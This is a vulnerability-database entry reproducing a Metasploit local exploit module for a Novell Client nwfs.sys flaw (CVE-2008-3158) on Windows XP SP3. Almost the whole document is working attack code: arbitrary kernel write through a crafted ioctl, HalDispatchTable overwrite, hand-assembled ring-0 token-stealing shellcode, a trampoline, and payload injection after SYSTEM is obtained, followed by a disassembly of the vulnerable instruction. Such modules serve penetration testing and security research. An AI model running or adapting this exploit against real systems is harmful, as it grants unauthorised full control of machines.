Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation

2013-06-21T22:31:40
ID MSF:EXPLOIT/WINDOWS/LOCAL/NOVELL_CLIENT_NWFS
Type metasploit
Reporter Rapid7
Modified 2018-07-08T23:46:04

Description

This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel space. The corruption occurs while handling ioctl requests with code 0x1438BB, where a 0x00000009 dword is written to an arbitrary address. An entry within the HalDispatchTable is overwritten in order to execute arbitrary code when NtQueryIntervalProfile is called. The module has been tested successfully on Windows XP SP3 with Novell Client 4.91 SP4.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
        space. The corruption occurs while handling ioctl requests with code 0x1438BB,
        where a 0x00000009 dword is written to an arbitrary address. An entry within the
        HalDispatchTable is overwritten in order to execute arbitrary code when
        NtQueryIntervalProfile is called. The module has been tested successfully on
        Windows XP SP3 with Novell Client 4.91 SP4.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Ruben Santamarta', # Vulnerability discovery and PoC
          'juan vazquez' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
          [ 'Automatic', { } ],
          [ 'Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct
              '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct
            }
          ]
        ],
      'References'    =>
        [
          [ 'CVE', '2008-3158' ],
          [ 'OSVDB', '46578' ],
          [ 'BID', '30001' ]
        ],
      'DisclosureDate'=> 'Jun 26 2008',
      'DefaultTarget' => 0
    }))

  end

  def open_device(dev)

    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def find_sys_base(drvname)
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end

    return nil
  end

  def ring0_shellcode(t)
    restore_ptrs =  "\x31\xc0"                                                # xor eax, eax
    restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V')  # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax

    tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                               # mov ecx, eax
    tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx
    tokenstealing << "\xc2\x10"                                               # ret 10h                          # Away from the kernel!

    ring0_shellcode = restore_ptrs + tokenstealing
    return ring0_shellcode
  end

  def fill_memory(proc, address, length, content)

    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

    if not proc.memory.writable?(address)
      vprint_error("Failed to allocate memory")
      return nil
    else
      vprint_good("#{address} is now writable")
    end

    result = proc.memory.write(address, content)

    if result.nil?
      vprint_error("Failed to write contents to memory")
      return nil
    else
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end

    return address
  end

  def disclose_addresses(t)
    addresses = {}

    vprint_status("Getting the Kernel module name...")
    kernel_info = find_sys_base(nil)
    if kernel_info.nil?
      vprint_error("Failed to disclose the Kernel module name")
      return nil
    end
    vprint_good("Kernel module found: #{kernel_info[1]}")

    vprint_status("Getting a Kernel handle...")
    kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    kernel32_handle = kernel32_handle['return']
    if kernel32_handle == 0
      vprint_error("Failed to get a Kernel handle")
      return nil
    end
    vprint_good("Kernel handle acquired")


    vprint_status("Disclosing the HalDispatchTable...")
    hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
    hal_dispatch_table = hal_dispatch_table['return']
    if hal_dispatch_table == 0
      vprint_error("Failed to disclose the HalDispatchTable")
      return nil
    end
    hal_dispatch_table -= kernel32_handle
    hal_dispatch_table += kernel_info[0]
    addresses["halDispatchTable"] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")

    vprint_status("Getting the hal.dll Base Address...")
    hal_info = find_sys_base("hal.dll")
    if hal_info.nil?
      vprint_error("Failed to disclose hal.dll Base Address")
      return nil
    end
    hal_base = hal_info[0]
    vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")

    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses["HaliQuerySystemInfo"] = hali_query_system_information

    vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
    return addresses
  end


  def exploit
    if sysinfo["Architecture"] == ARCH_X64
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    my_target = nil
    if target.name =~ /Automatic/
      print_status("Detecting the target system...")
      os = sysinfo["OS"]
      print_status("#{os.inspect}")
      if os =~ /windows xp/i
        my_target = targets[1]
        print_status("Running against #{my_target.name}")
      end
    else
      my_target = target
    end

    if my_target.nil?
      fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
    end

    print_status("Checking device...")
    handle = open_device("\\\\.\\nwfs")
    if handle.nil?
      fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found")
    else
      print_good("\\\\.\\nwfs found!")
    end

    print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
    else
      print_good("Addresses successfully disclosed.")
    end


    print_status("Storing the kernel stager on memory...")
    this_proc = session.sys.process.open
    kernel_shell = ring0_shellcode(my_target)
    kernel_shell_address = 0x1000
    result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    else
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end

    print_status("Storing the trampoline to the kernel stager on memory...")
    trampoline = "\x90" * 0x20       # nops
    trampoline << "\x68"             # push opcode
    trampoline << [0x1000].pack("V") # address to push
    trampoline << "\xc3"             # ret
    trampoline_addr = 0x3
    result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing trampoline on memory")
    else
      print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
    end

    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    magic_ioctl = 0x1438BB
    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
    session.railgun.kernel32.CloseHandle(handle)

    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    print_status("Checking privileges after exploitation...")

    if not is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    else
      print_good("Exploitation successful!")
    end

    p = payload.encoded
    print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
    if execute_shellcode(p)
      print_good("Enjoy")
    else
      fail_with(Failure::Unknown, "Error while executing the payload")
    end

  end
end

=begin

[*] Corruption

.text:0005512E sub_5512E       proc near               ; CODE XREF: ioctl_handler_sub_2FE4C+295p
.text:0005512E                                         ; sub_405C4+29Bp
.text:0005512E
.text:0005512E ms_exc          = CPPEH_RECORD ptr -18h
.text:0005512E arg_0           = dword ptr  8
.text:0005512E
.text:0005512E                 push    8
.text:00055130                 push    offset stru_79268
.text:00055135                 call    __SEH_prolog
.text:0005513A                 xor     eax, eax
.text:0005513C                 mov     ecx, [ebp+arg_0]
.text:0005513F                 mov     ecx, [ecx+0Ch]
.text:00055142                 mov     ecx, [ecx+60h]
.text:00055145                 mov     ecx, [ecx+10h]
.text:00055148                 mov     [ebp+ms_exc.registration.TryLevel], eax
.text:0005514B                 mov     dword ptr [ecx], 9 // Corruption

=end